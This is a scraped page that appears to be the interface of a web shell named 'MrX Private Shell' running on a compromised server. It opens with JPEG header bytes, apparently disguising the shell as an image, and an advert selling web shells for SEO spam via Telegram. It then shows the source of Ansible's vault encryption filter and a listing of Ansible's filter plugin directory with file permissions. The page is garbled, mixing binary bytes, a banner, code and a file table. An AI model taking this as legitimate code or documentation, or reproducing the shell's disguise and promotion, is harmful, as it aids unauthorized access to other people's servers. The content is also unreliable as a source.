����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright: (c) 2021, Ansible Project
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from jinja2.runtime import Undefined
from jinja2.exceptions import UndefinedError
from ansible.errors import AnsibleFilterError, AnsibleFilterTypeError
from ansible.module_utils._text import to_native, to_bytes
from ansible.module_utils.six import string_types, binary_type
from ansible.parsing.yaml.objects import AnsibleVaultEncryptedUnicode
from ansible.parsing.vault import is_encrypted, VaultSecret, VaultLib
from ansible.utils.display import Display
display = Display()
def do_vault(data, secret, salt=None, vaultid='filter_default', wrap_object=False):
if not isinstance(secret, (string_types, binary_type, Undefined)):
raise AnsibleFilterTypeError("Secret passed is required to be a string, instead we got: %s" % type(secret))
if not isinstance(data, (string_types, binary_type, Undefined)):
raise AnsibleFilterTypeError("Can only vault strings, instead we got: %s" % type(data))
vault = ''
vs = VaultSecret(to_bytes(secret))
vl = VaultLib()
try:
vault = vl.encrypt(to_bytes(data), vs, vaultid, salt)
except UndefinedError:
raise
except Exception as e:
raise AnsibleFilterError("Unable to encrypt: %s" % to_native(e), orig_exc=e)
if wrap_object:
vault = AnsibleVaultEncryptedUnicode(vault)
else:
vault = to_native(vault)
return vault
def do_unvault(vault, secret, vaultid='filter_default'):
if not isinstance(secret, (string_types, binary_type, Undefined)):
raise AnsibleFilterTypeError("Secret passed is required to be as string, instead we got: %s" % type(secret))
if not isinstance(vault, (string_types, binary_type, AnsibleVaultEncryptedUnicode, Undefined)):
raise AnsibleFilterTypeError("Vault should be in the form of a string, instead we got: %s" % type(vault))
data = ''
vs = VaultSecret(to_bytes(secret))
vl = VaultLib([(vaultid, vs)])
if isinstance(vault, AnsibleVaultEncryptedUnicode):
vault.vault = vl
data = vault.data
elif is_encrypted(vault):
try:
data = vl.decrypt(vault)
except UndefinedError:
raise
except Exception as e:
raise AnsibleFilterError("Unable to decrypt: %s" % to_native(e), orig_exc=e)
else:
data = vault
return to_native(data)
class FilterModule(object):
''' Ansible vault jinja2 filters '''
def filters(self):
filters = {
'vault': do_vault,
'unvault': do_unvault,
}
return filters
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 510 B | 0644 |
|
| b64decode.yml | File | 927 B | 0644 |
|
| b64encode.yml | File | 543 B | 0644 |
|
| basename.yml | File | 809 B | 0644 |
|
| bool.yml | File | 631 B | 0644 |
|
| checksum.yml | File | 524 B | 0644 |
|
| combinations.yml | File | 780 B | 0644 |
|
| combine.yml | File | 1.63 KB | 0644 |
|
| comment.yml | File | 2.09 KB | 0644 |
|
| core.py | File | 21.05 KB | 0644 |
|
| dict2items.yml | File | 1.28 KB | 0644 |
|
| difference.yml | File | 1 KB | 0644 |
|
| dirname.yml | File | 820 B | 0644 |
|
| encryption.py | File | 2.63 KB | 0644 |
|
| expanduser.yml | File | 506 B | 0644 |
|
| expandvars.yml | File | 569 B | 0644 |
|
| extract.yml | File | 1.34 KB | 0644 |
|
| fileglob.yml | File | 589 B | 0644 |
|
| flatten.yml | File | 846 B | 0644 |
|
| from_json.yml | File | 905 B | 0644 |
|
| from_yaml.yml | File | 959 B | 0644 |
|
| from_yaml_all.yml | File | 1.25 KB | 0644 |
|
| hash.yml | File | 861 B | 0644 |
|
| human_readable.yml | File | 993 B | 0644 |
|
| human_to_bytes.yml | File | 1.02 KB | 0644 |
|
| intersect.yml | File | 969 B | 0644 |
|
| items2dict.yml | File | 1.52 KB | 0644 |
|
| log.yml | File | 904 B | 0644 |
|
| mandatory.yml | File | 537 B | 0644 |
|
| mathstuff.py | File | 8.12 KB | 0644 |
|
| md5.yml | File | 709 B | 0644 |
|
| password_hash.yml | File | 1.09 KB | 0644 |
|
| path_join.yml | File | 846 B | 0644 |
|
| permutations.yml | File | 969 B | 0644 |
|
| pow.yml | File | 692 B | 0644 |
|
| product.yml | File | 1.87 KB | 0644 |
|
| quote.yml | File | 492 B | 0644 |
|
| random.yml | File | 1.16 KB | 0644 |
|
| realpath.yml | File | 546 B | 0644 |
|
| regex_escape.yml | File | 688 B | 0644 |
|
| regex_findall.yml | File | 1.12 KB | 0644 |
|
| regex_replace.yml | File | 1.47 KB | 0644 |
|
| regex_search.yml | File | 1.04 KB | 0644 |
|
| rekey_on_member.yml | File | 921 B | 0644 |
|
| relpath.yml | File | 758 B | 0644 |
|
| root.yml | File | 618 B | 0644 |
|
| sha1.yml | File | 729 B | 0644 |
|
| shuffle.yml | File | 685 B | 0644 |
|
| split.yml | File | 833 B | 0644 |
|
| splitext.yml | File | 746 B | 0644 |
|
| strftime.yml | File | 1.33 KB | 0644 |
|
| subelements.yml | File | 1.4 KB | 0644 |
|
| symmetric_difference.yml | File | 1 KB | 0644 |
|
| ternary.yml | File | 1.52 KB | 0644 |
|
| to_datetime.yml | File | 1.58 KB | 0644 |
|
| to_json.yml | File | 2.69 KB | 0644 |
|
| to_nice_json.yml | File | 2.21 KB | 0644 |
|
| to_nice_yaml.yml | File | 1.55 KB | 0644 |
|
| to_uuid.yml | File | 785 B | 0644 |
|
| to_yaml.yml | File | 1.64 KB | 0644 |
|
| type_debug.yml | File | 508 B | 0644 |
|
| union.yml | File | 954 B | 0644 |
|
| unique.yml | File | 839 B | 0644 |
|
| unvault.yml | File | 1.04 KB | 0644 |
|
| urldecode.yml | File | 1.53 KB | 0644 |
|
| urls.py | File | 508 B | 0644 |
|
| urlsplit.py | File | 2.56 KB | 0644 |
|
| vault.yml | File | 1.63 KB | 0644 |
|
| win_basename.yml | File | 673 B | 0644 |
|
| win_dirname.yml | File | 679 B | 0644 |
|
| win_splitdrive.yml | File | 819 B | 0644 |
|
| zip.yml | File | 1.32 KB | 0644 |
|
| zip_longest.yml | File | 1.23 KB | 0644 |
|